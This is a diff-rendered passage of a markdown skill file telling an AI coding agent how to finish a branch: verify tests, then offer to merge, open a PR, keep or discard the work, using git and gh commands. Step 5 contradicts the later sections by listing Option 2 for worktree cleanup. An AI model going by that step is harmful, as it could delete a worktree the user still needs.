|
|
21
|
+
|
|
22
|
+
```bash
|
|
23
|
+
# Run project's test suite
|
|
24
|
+
npm test / cargo test / pytest / go test ./...
|
|
25
|
+
```
|
|
26
|
+
|
|
27
|
+
**If tests fail:**
|
|
28
|
+
```
|
|
29
|
+
Tests failing (<N> failures). Must fix before completing:
|
|
30
|
+
|
|
31
|
+
[Show failures]
|
|
32
|
+
|
|
33
|
+
Cannot proceed with merge/PR until tests pass.
|
|
34
|
+
```
|
|
35
|
+
|
|
36
|
+
Stop. Don't proceed to Step 2.
|
|
37
|
+
|
|
38
|
+
**If tests pass:** Continue to Step 2.
|
|
39
|
+
|
|
40
|
+
### Step 2: Determine Base Branch
|
|
41
|
+
|
|
42
|
+
```bash
|
|
43
|
+
# Try common base branches
|
|
44
|
+
git merge-base HEAD main 2>/dev/null || git merge-base HEAD master 2>/dev/null
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
Or ask: "This branch split from main - is that correct?"
|
|
48
|
+
|
|
49
|
+
### Step 3: Present Options
|
|
50
|
+
|
|
51
|
+
Present exactly these 4 options:
|
|
52
|
+
|
|
53
|
+
```
|
|
54
|
+
Implementation complete. What would you like to do?
|
|
55
|
+
|
|
56
|
+
1. Merge back to <base-branch> locally
|
|
57
|
+
2. Push and create a Pull Request
|
|
58
|
+
3. Keep the branch as-is (I'll handle it later)
|
|
59
|
+
4. Discard this work
|
|
60
|
+
|
|
61
|
+
Which option?
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
**Don't add explanation** - keep options concise.
|
|
65
|
+
|
|
66
|
+
### Step 4: Execute Choice
|
|
67
|
+
|
|
68
|
+
#### Option 1: Merge Locally
|
|
69
|
+
|
|
70
|
+
```bash
|
|
71
|
+
# Switch to base branch
|
|
72
|
+
git checkout <base-branch>
|
|
73
|
+
|
|
74
|
+
# Pull latest
|
|
75
|
+
git pull
|
|
76
|
+
|
|
77
|
+
# Merge feature branch
|
|
78
|
+
git merge <feature-branch>
|
|
79
|
+
|
|
80
|
+
# Verify tests on merged result
|
|
81
|
+
<test command>
|
|
82
|
+
|
|
83
|
+
# If tests pass
|
|
84
|
+
git branch -d <feature-branch>
|
|
85
|
+
```
|
|
86
|
+
|
|
87
|
+
Then: Cleanup worktree (Step 5)
|
|
88
|
+
|
|
89
|
+
#### Option 2: Push and Create PR
|
|
90
|
+
|
|
91
|
+
```bash
|
|
92
|
+
# Push branch
|
|
93
|
+
git push -u origin <feature-branch>
|
|
94
|
+
|
|
95
|
+
# Create PR
|
|
96
|
+
gh pr create --title "<title>" --body "$(cat <<'EOF'
|
|
97
|
+
## Summary
|
|
98
|
+
<2-3 bullets of what changed>
|
|
99
|
+
|
|
100
|
+
## Test Plan
|
|
101
|
+
- [ ] <verification steps>
|
|
102
|
+
EOF
|
|
103
|
+
)"
|
|
104
|
+
```
|
|
105
|
+
|
|
106
|
+
Then: Cleanup worktree (Step 5)
|
|
107
|
+
|
|
108
|
+
#### Option 3: Keep As-Is
|
|
109
|
+
|
|
110
|
+
Report: "Keeping branch <name>. Worktree preserved at <path>."
|
|
111
|
+
|
|
112
|
+
**Don't cleanup worktree.**
|
|
113
|
+
|
|
114
|
+
#### Option 4: Discard
|
|
115
|
+
|
|
116
|
+
**Confirm first:**
|
|
117
|
+
```
|
|
118
|
+
This will permanently delete:
|
|
119
|
+
- Branch <name>
|
|
120
|
+
- All commits: <commit-list>
|
|
121
|
+
- Worktree at <path>
|
|
122
|
+
|
|
123
|
+
Type 'discard' to confirm.
|
|
124
|
+
```
|
|
125
|
+
|
|
126
|
+
Wait for exact confirmation.
|
|
127
|
+
|
|
128
|
+
If confirmed:
|
|
129
|
+
```bash
|
|
130
|
+
git checkout <base-branch>
|
|
131
|
+
git branch -D <feature-branch>
|
|
132
|
+
```
|
|
133
|
+
|
|
134
|
+
Then: Cleanup worktree (Step 5)
|
|
135
|
+
|
|
136
|
+
### Step 5: Cleanup Worktree
|
|
137
|
+
|
|
138
|
+
**For Options 1, 2, 4:**
|
|
139
|
+
|
|
140
|
+
Check if in worktree:
|
|
141
|
+
```bash
|
|
142
|
+
git worktree list | grep $(git branch --show-current)
|
|
143
|
+
```
|
|
144
|
+
|
|
145
|
+
If yes:
|
|
146
|
+
```bash
|
|
147
|
+
git worktree remove <worktree-path>
|
|
148
|
+
```
|
|
149
|
+
|
|
150
|
+
**For Option 3:** Keep worktree.
|
|
151
|
+
|
|
152
|
+
## Quick Reference
|
|
153
|
+
|
|
154
|
+
| Option | Merge | Push | Keep Worktree | Cleanup Branch |
|
|
155
|
+
|--------|-------|------|---------------|----------------|
|
|
156
|
+
| 1. Merge locally | ✓ | - | - | ✓ |
|
|
157
|
+
| 2. Create PR | - | ✓ | ✓ | - |
|
|
158
|
+
| 3. Keep as-is | - | - | ✓ | - |
|
|
159
|
+
| 4. Discard | - | - | - | ✓ (force) |
|
|
160
|
+
|
|
161
|
+
## Common Mistakes
|
|
162
|
+
|
|
163
|
+
**Skipping test verification**
|
|
164
|
+
- **Problem:** Merge broken code, create failing PR
|
|
165
|
+
- **Fix:** Always verify tests before offering options
|
|
166
|
+
|
|
167
|
+
**Open-ended questions**
|
|
168
|
+
- **Problem:** "What should I do next?" → ambiguous
|
|
169
|
+
- **Fix:** Present exactly 4 structured options
|
|
170
|
+
|
|
171
|
+
**Automatic worktree cleanup**
|
|
172
|
+
- **Problem:** Remove worktree when might need it (Option 2, 3)
|
|
173
|
+
- **Fix:** Only cleanup for Options 1 and 4
|
|
174
|
+
|
|
175
|
+
**No confirmation for discard**
|
|
176
|
+
- **Problem:** Accidentally delete work
|
|
177
|
+
- **Fix:** Require typed "discard" confirmation
|
|
178
|
+
|
|
179
|
+
## Red Flags
|
|
180
|
+
|
|
181
|
+
**Never:**
|
|
182
|
+
- Proceed with failing tests
|
|
183
|
+
- Merge without verifying tests on result
|
|
184
|
+
- Delete work without confirmation
|
|
185
|
+
- Force-push without explicit request
|
|
186
|
+
|
|
187
|
+
**Always:**
|
|
188
|
+
- Verify tests before offering options
|
|
189
|
+
- Present exactly 4 options
|
|
190
|
+
- Get typed confirmation for Option 4
|
|
191
|
+
- Clean up worktree for Options 1 & 4 only
|
|
192
|
+
|
|
193
|
+
## Integration
|
|
194
|
+
|
|
195
|
+
**Called by:**
|
|
196
|
+
- **subagent-driven-development** (Step 7) - After all tasks complete
|
|
197
|
+
- **executing-plans** (Step 5) - After all batches complete
|
|
198
|
+
|
|
199
|
+
**Pairs with:**
|
|
200
|
+
- **using-git-worktrees** - Cleans up worktree created by that skill
|